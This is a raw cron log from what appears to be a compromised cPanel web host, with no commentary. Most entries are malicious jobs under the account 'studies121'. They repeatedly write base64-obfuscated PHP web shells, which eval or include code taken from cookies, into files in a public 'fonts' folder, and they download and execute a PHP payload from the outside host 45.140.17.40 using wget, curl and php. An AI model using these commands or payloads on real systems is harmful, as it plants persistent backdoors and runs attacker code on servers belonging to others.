Sep 22 18:21:01 ip-184-168-122-23 CROND[28879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:22:01 ip-184-168-122-23 CROND[29026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:22:02 ip-184-168-122-23 CROND[29028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:22:02 ip-184-168-122-23 CROND[29030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:22:02 ip-184-168-122-23 CROND[29031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:22:02 ip-184-168-122-23 CROND[29029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:23:01 ip-184-168-122-23 CROND[29235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:23:01 ip-184-168-122-23 CROND[29237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:23:01 ip-184-168-122-23 CROND[29236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:23:01 ip-184-168-122-23 CROND[29238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:24:01 ip-184-168-122-23 CROND[29399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:24:01 ip-184-168-122-23 CROND[29401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:24:01 ip-184-168-122-23 CROND[29402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:24:01 ip-184-168-122-23 CROND[29404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:24:01 ip-184-168-122-23 CROND[29403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:25:01 ip-184-168-122-23 CROND[29529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:25:01 ip-184-168-122-23 CROND[29532]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:25:01 ip-184-168-122-23 CROND[29533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:25:01 ip-184-168-122-23 CROND[29535]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 18:25:01 ip-184-168-122-23 CROND[29534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:25:01 ip-184-168-122-23 CROND[29536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:25:01 ip-184-168-122-23 CROND[29537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:26:01 ip-184-168-122-23 CROND[29742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:26:01 ip-184-168-122-23 CROND[29744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:26:01 ip-184-168-122-23 CROND[29743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:26:01 ip-184-168-122-23 CROND[29745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:26:01 ip-184-168-122-23 CROND[29746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:27:01 ip-184-168-122-23 CROND[29852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:27:01 ip-184-168-122-23 CROND[29853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:27:01 ip-184-168-122-23 CROND[29854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:27:01 ip-184-168-122-23 CROND[29857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:28:01 ip-184-168-122-23 CROND[30002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:28:01 ip-184-168-122-23 CROND[30005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:28:01 ip-184-168-122-23 CROND[30003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:28:01 ip-184-168-122-23 CROND[30006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:28:01 ip-184-168-122-23 CROND[30004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:29:01 ip-184-168-122-23 CROND[30119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:29:01 ip-184-168-122-23 CROND[30120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:29:01 ip-184-168-122-23 CROND[30121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:29:01 ip-184-168-122-23 CROND[30123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:30:01 ip-184-168-122-23 CROND[30299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:30:01 ip-184-168-122-23 CROND[30301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:30:01 ip-184-168-122-23 CROND[30303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:30:01 ip-184-168-122-23 CROND[30305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:30:01 ip-184-168-122-23 CROND[30304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:30:01 ip-184-168-122-23 CROND[30309]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 18:30:01 ip-184-168-122-23 CROND[30308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:30:01 ip-184-168-122-23 CROND[30306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:31:01 ip-184-168-122-23 CROND[30618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:31:01 ip-184-168-122-23 CROND[30621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:31:01 ip-184-168-122-23 CROND[30620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:31:01 ip-184-168-122-23 CROND[30622]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 18:31:01 ip-184-168-122-23 CROND[30623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:32:01 ip-184-168-122-23 CROND[31151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:32:01 ip-184-168-122-23 CROND[31153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:32:01 ip-184-168-122-23 CROND[31156]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:32:01 ip-184-168-122-23 CROND[31157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:32:01 ip-184-168-122-23 CROND[31158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:33:01 ip-184-168-122-23 CROND[31853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:33:01 ip-184-168-122-23 CROND[31852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:33:01 ip-184-168-122-23 CROND[31851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:33:01 ip-184-168-122-23 CROND[31854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
